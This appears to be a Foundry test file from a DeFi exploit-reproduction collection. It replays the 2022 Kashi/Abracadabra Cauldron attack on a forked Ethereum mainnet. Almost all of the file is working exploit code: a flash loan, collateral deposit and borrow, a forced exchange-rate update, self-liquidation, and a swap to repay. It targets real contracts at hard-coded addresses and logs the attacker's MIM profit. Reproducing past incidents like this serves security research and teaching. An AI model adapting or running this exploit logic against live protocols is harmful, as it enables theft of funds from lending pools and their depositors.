src/test/2022-11/Kashi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://eigenphi.substack.com/p/casting-a-magic-spell-on-abracadabra
9// https://twitter.com/BlockSecTeam/status/1603633067876155393
10// @TX
11// https://etherscan.io/tx/0x3d163bfbec5686d428a6d43e45e2626a220cc4fcfac7620c620b82c1f2537c78
12 
13interface BentoBoxV1 {
14    function batchFlashLoan(
15        address borrower,
16        address[] calldata receivers,
17        address[] calldata tokens,
18        uint256[] calldata amounts,
19        bytes calldata data
20    ) external;
21 
22    function setMasterContractApproval(
23        address user,
24        address masterContract,
25        bool approved,
26        uint8 v,
27        bytes32 r,
28        bytes32 s
29    ) external;
30 
31    function deposit(address token_, address from, address to, uint256 amount, uint256 share) external;
32 
33    function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;
34 
35    function balanceOf(address token, address account) external returns (uint256);
36}
37 
38interface CauldronMediumRiskV1 {
39    function addCollateral(address to, bool skim, uint256 share) external;
40 
41    function borrow(address to, uint256 amount) external;
42 
43    function updateExchangeRate() external;
44 
45    function liquidate(
46        address[] calldata users,
47        uint256[] calldata maxBorrowParts,
48        address to,
49        address swapper
50    ) external;
51}
52 
53contract ContractTest is Test {
54    BentoBoxV1 BentBox = BentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
55    CauldronMediumRiskV1 Cauldron = CauldronMediumRiskV1(0xbb02A884621FB8F5BFd263A67F58B65df5b090f3);
56    IERC20 xSUSHI = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);
57    IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
58    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
59    ISushiSwap Router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
60    address masterContract = 0x4a9Cb5D0B755275Fd188f87c0A8DF531B0C7c7D2;
61 
62    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
63 
64    function setUp() public {
65        cheats.createSelectFork("mainnet", 15_928_289);
66    }
67 
68    function testExploit() public {
69        MIM.approve(address(Router), type(uint256).max);
70        address[] memory receivers = new address[](2);
71        receivers[0] = address(this);
72        receivers[1] = address(this);
73        address[] memory tokens = new address[](2);
74        tokens[0] = address(xSUSHI);
75        tokens[1] = address(MIM);
76        uint256[] memory amounts = new uint256[](2);
77        amounts[0] = 450_000 * 1e18;
78        amounts[1] = 0;
79        BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));
80 
81        emit log_named_decimal_uint("[End] Attacker MIM balance after exploit", MIM.balanceOf(address(this)), 18);
82    }
83 
84    function onBatchFlashLoan(
85        address sender,
86        IERC20[] calldata tokens,
87        uint256[] calldata amounts,
88        uint256[] calldata fees,
89        bytes calldata data
90    ) external {
91        BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));
92        xSUSHI.approve(address(BentBox), type(uint256).max);
93        BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);
94        Cauldron.addCollateral(address(this), false, 420_000 * 1e18);
95        Cauldron.borrow(address(this), 800_000 * 1e18);
96        Cauldron.updateExchangeRate();
97        address[] memory users = new address[](1);
98        users[0] = address(this);
99        uint256[] memory maxBorrowParts = new uint256[](1);
100        maxBorrowParts[0] = 680_000 * 1e18;
101        Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));
102        BentBox.withdraw(
103            address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))
104        );
105        BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));
106        uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));
107        address[] memory path = new address[](3);
108        path[0] = address(MIM);
109        path[1] = address(WETH);
110        path[2] = address(xSUSHI);
111        Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);
112        xSUSHI.transfer(address(BentBox), 450_225 * 1e18);
113    }
114}